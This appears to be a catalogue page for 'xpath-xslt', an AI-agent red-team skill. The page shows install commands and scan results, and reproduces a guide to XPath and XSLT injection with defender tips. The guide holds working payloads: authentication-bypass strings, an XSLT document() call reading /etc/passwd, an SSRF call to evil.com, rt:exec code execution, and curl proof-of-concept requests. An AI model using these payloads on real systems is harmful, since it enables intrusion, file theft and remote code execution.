xpath-xslt

xpath-xslt is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 34 tokens per session (797 once invoked), scanned A, original, Apache-2.0.

A guide to XPath and XSLT injection. XPath queries XML data, while XSLT transforms XML into other output and may expose files, network access, or code execution when unsafe extensions are enabled.

In plain words
What is it for?
It is for testing XML-based authentication bypasses, data extraction, server-side file access, server-side requests, and unsafe transformation features.
Why use it?
It helps find cases where user input changes XML queries or transformations instead of being treated as ordinary data.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for testing XML-based authentication bypasses, data extraction, server-side file access, server-side requests, and unsafe transformation features.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/xpath-xslt
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill xpath-xslt
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xpath-xslt

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/xpath-xslt/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/xpath-xslt)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/xpath-xslt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/xpath-xslt/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xpath-xslt

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/xpath-xslt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/xpath-xslt.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 34 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 797 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 4 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 39
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 72
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Prompt Injection · line 45
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
  • medium Data Exfiltration · line 65
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00034 $0.00797
Opus 5 $0.00017 $0.00398
Sonnet 5 $0.00007 $0.00159
Haiku 4.5 $0.00003 $0.00080

Measured 8d ago against content hash 245de714ad10, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

xpath-xslt scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/exploit/web/xpath-xslt/SKILL.md · 93 lines

How it starts

The opening of the file, as written. The whole thing — 93 lines — stays where its author put it; the contents beside it link to each section on GitHub.

XPath + XSLT Injection

XPath Injection

XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.

Auth bypass

# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"

# Payload
user = "' or '1'='1"  → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='"  → returns all users

Blind extraction

# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions

XSLT Injection

Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.

document() function — file read

<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/>  ← SSRF

EXSLT — RCE on some engines

<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>

<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>

Reflected XSS via XSLT

<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->

Detection

  • Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
  • Apps using XPath: legacy intranets, file-based config querying, XML feeds

PoC

# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"

# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>
EOF

Severity

  • XPath auth bypass: Critical 9.8
  • XSLT file read: Critical 9.0
  • XSLT RCE: Critical 10.0
  • Blind XPath extraction: High 7-8

Defender

  • Use parameterized XPath via libraries (lxml.etree.XPath(expr) w/ variable bindings)
  • Disable XSLT extensions by default
  • Use XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE (libxslt)
  • Sanitize / strict-validate XML input schema

Read the full file on GitHub · 93 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 93 lines · 34 tokens per session scan A 245de714ad10

Subscribe to this mod's changes

xpath-xslt is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 34 tokens to every session and 797 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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